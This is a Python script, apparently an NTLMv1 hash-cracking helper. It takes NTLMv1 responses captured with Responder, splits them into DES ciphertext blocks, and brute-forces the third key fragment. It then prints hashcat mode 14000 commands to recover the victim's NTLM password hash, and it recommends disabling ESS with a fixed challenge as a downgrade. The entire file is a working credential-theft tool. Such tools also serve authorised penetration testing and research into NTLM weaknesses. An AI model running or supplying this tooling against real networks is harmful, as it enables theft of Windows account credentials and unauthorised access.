import hashlib, binascii import argparse import json from Crypto.Cipher import DES def recover_key_from_ct3(ct3_hex, challenge_hex, ess_hex=None): # Convert hex inputs to bytes ct3_bytes = bytes.fromhex(ct3_hex) challenge_bytes = bytes.fromhex(challenge_hex) if len(ct3_bytes) != 8 or len(challenge_bytes) != 8: raise ValueError("ct3 and challenge must be 8 bytes (16 hex chars) each") # Convert bytes to integer representation ct3_val = int.from_bytes(ct3_bytes, 'big') challenge_val = int.from_bytes(challenge_bytes, 'big') # Handle ESS case using fast MD5 hash if ess_hex: ess_bytes = bytes.fromhex(ess_hex) if len(ess_bytes) != 24: raise ValueError("ESS must be 24 bytes (48 hex chars)") if ess_bytes[8:] == b'\x00' * 16: challenge_bytes = hashlib.md5(challenge_bytes + ess_bytes[:8]).digest()[:8] challenge_val = int.from_bytes(challenge_bytes, 'big') # **Optimized DES brute-force loop** found_key = None for i in range(0x10000): # 16-bit key space # **Optimized 7-byte to 8-byte DES key transformation** nthash_bytes = [ i & 0xFF, (i >> 8) & 0xFF, 0, 0, 0, 0, 0 ] key_bytes = bytes([ nthash_bytes[0] | 1, ((nthash_bytes[0] << 7) | (nthash_bytes[1] >> 1)) & 0xFF | 1, ((nthash_bytes[1] << 6) | (nthash_bytes[2] >> 2)) & 0xFF | 1, ((nthash_bytes[2] << 5) | (nthash_bytes[3] >> 3)) & 0xFF | 1, ((nthash_bytes[3] << 4) | (nthash_bytes[4] >> 4)) & 0xFF | 1, ((nthash_bytes[4] << 3) | (nthash_bytes[5] >> 5)) & 0xFF | 1, ((nthash_bytes[5] << 2) | (nthash_bytes[6] >> 6)) & 0xFF | 1, ((nthash_bytes[6] << 1)) & 0xFF | 1 ]) # **Use PyCryptodome for fast DES encryption** cipher = DES.new(key_bytes, DES.MODE_ECB) encrypted = cipher.encrypt(challenge_bytes) # **Fast integer comparison instead of byte-by-byte check** if int.from_bytes(encrypted, 'big') == ct3_val: found_key = i break if found_key is None: return None # Key not found # **Return key in correct format (low-order byte first, as in C output)** return f"{found_key & 0xFF:02x}{(found_key >> 8) & 0xFF:02x}" def main(): parser = argparse.ArgumentParser() parser.add_argument('--ntlmv1', help='NTLMv1 Hash in responder format', required=True) parser.add_argument('--hashcat', help='hashcat path, eg: ~/git/hashcat', required=False) parser.add_argument('--hcutils', help='hashcat-utils path, eg: ~/git/hashcat-utils', required=False) parser.add_argument('--json', help='if this is set it will output to json', required=False,action='store_true') parser.add_argument('--ct3', help='if this is set it will calculate ct3', required=False, action='store_true') args = parser.parse_args() # SERVER1$::MOG:7EF3F506F5EA510E00000000000000000000000000000000:1217169BD7BE0270A033899BD440016D3E6DACAF5894D504:ff81dfd6b12c269d # evilmog::DUSTIN-5AA37877:E343946E455EFC72746CF587C42022982F85252CC731BB25:51A539E6EE061F647CD5D48CE6C686653737C5E1DE26AC4C:1122334455667788 hashsplit = args.ntlmv1.split(':') challenge = hashsplit[5] lmresp = hashsplit[3] ntresp = hashsplit[4] ct3 = ntresp[32:48] data = {'ntlmv1': args.ntlmv1, 'user': hashsplit[0], 'domain': hashsplit[2], 'challenge': challenge, 'lmresp': lmresp, 'ntresp': ntresp, 'ct3': ct3} if lmresp[20:48] != "0000000000000000000000000000": ct1 = ntresp[0:16] ct2 = ntresp[16:32] ct3 = ntresp[32:48] if not args.json: print("Hashfield Split:") print(str(hashsplit) + "\n") print("Hostname: " + hashsplit[2]) print("Username: " + hashsplit[0]) print("Challenge: " + challenge) print("LM Response: " + lmresp) print("NT Response: " + ntresp) print("CT1: " + ct1) print("CT2: " + ct2) print("CT3: " + ct3 + "\n") print("To Calculate final 4 characters of NTLM hash use:") if args.hcutils: print(args.hcutils + "/ct3_to_ntlm.bin " + ct3 + " " + challenge + "\n") else: print("./ct3_to_ntlm.bin " + ct3 + " " + challenge + "\n") # Recover PT3 (NTLM 3rd part) if args.ct3: pt3 = recover_key_from_ct3(ct3, challenge) print("PT3: " + pt3 + "\n") # ./ct3_to_ntlm.bin 2e1e4bf33006ba41 cb8086049ec4736c print("To crack with hashcat create a file with the following contents:") print(ct1 + ":" + challenge) print(ct2 + ":" + challenge + "\n") print("echo \"" + ct1 + ":" + challenge + "\">>14000.hash") print("echo \"" + ct2 + ":" + challenge + "\">>14000.hash\n") print("To crack with hashcat:") if args.hashcat: print( args.hashcat + "/hashcat -m 14000 -a 3 -1 " + args.hashcat + "/charsets/DES_full.charset --hex-charset 14000.hash ?1?1?1?1?1?1?1?1\n") else: print("./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset 14000.hash ?1?1?1?1?1?1?1?1\n") print("Once complete run output through deskey_to_ntlm.pl") if lmresp[20:48] == "0000000000000000000000000000": clientchallenge = hashsplit[5] combinedchallenge = clientchallenge + lmresp[0:16] m = hashlib.md5() m.update(binascii.unhexlify(combinedchallenge)) md5hash = m.hexdigest() srvchallenge = md5hash[0:16] data['srvchallenge'] = srvchallenge ct1 = ntresp[0:16] ct2 = ntresp[16:32] if not args.json: print( "Hash response is ESS, consider using responder with --lm or --disable-ess with a static challenge of 1122334455667788") print("[-] Client Challenge: " + clientchallenge) print("[-] LMResp[0:16]: " + lmresp[0:16]) print("[-] Combined Challenge: " + combinedchallenge) print("Hashfield Split:") print(str(hashsplit) + "\n") print("[-] MD5 Hash of Combined Challenge: " + md5hash) print("Hostname: " + hashsplit[2]) print("Username: " + hashsplit[0]) print("LM Response: " + lmresp) print("NT Response: " + ntresp) print("SRV Challenge: " + srvchallenge + "\n") print("To Calculate final 4 characters of NTLM hash use:") # ./ct3_to_ntlm.bin 2e1e4bf33006ba41 cb8086049ec4736c 338d08f8e26de93300000000000000000000000000000000 if args.hcutils: print(args.hcutils + "/ct3_to_ntlm.bin " + ct3 + " " + clientchallenge + " " + lmresp + "\n") else: print("./ct3_to_ntlm.bin " + ct3 + " " + clientchallenge + " " + lmresp + "\n") if args.ct3: pt3 = recover_key_from_ct3(ct3, challenge, lmresp) print("PT3: " + pt3 + "\n") print("To crack with hashcat create a file with the following contents:") print(ct1 + ":" + srvchallenge) print(ct2 + ":" + srvchallenge + "\n") print("echo \"" + ct1 + ":" + srvchallenge + "\">>14000.hash") print("echo \"" + ct2 + ":" + srvchallenge + "\">>14000.hash\n") print("To crack with hashcat:") if args.hashcat: print( args.hashcat + "/hashcat -m 14000 -a 3 -1 " + args.hashcat + "/charsets/DES_full.charset --hex-charset 14000.hash ?1?1?1?1?1?1?1?1\n") else: print("./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset 14000.hash ?1?1?1?1?1?1?1?1\n") if args.json: if lmresp[20:48] != "0000000000000000000000000000": if args.hcutils: data['ct3_crack'] = (args.hcutils + "/ct3_to_ntlm.bin " + ct3 + " " + challenge) else: data['ct3_crack'] = ("ct3_to_ntlm.bin " + ct3 + " " + challenge) pt3 = recover_key_from_ct3(ct3, challenge) data['pt3'] = pt3 data['hash1'] = (ct1 + ":" + challenge) data['hash2'] = (ct2 + ":" + challenge) if lmresp[20:48] == "0000000000000000000000000000": if args.hcutils: data['ct3_crack'] = (args.hcutils + "/ct3_to_ntlm.bin " + ct3 + " " + clientchallenge + " " + lmresp) else: data['ct3_crack'] = ("ct3_to_ntlm.bin " + ct3 + " " + clientchallenge + " " + lmresp) pt3 = recover_key_from_ct3(ct3, challenge) data['pt3'] = pt3 data['hash1'] = (ct1 + ":" + srvchallenge) data['hash2'] = (ct2 + ":" + srvchallenge) # process data json_data = json.dumps(data) print(json_data) if __name__ == "__main__": main()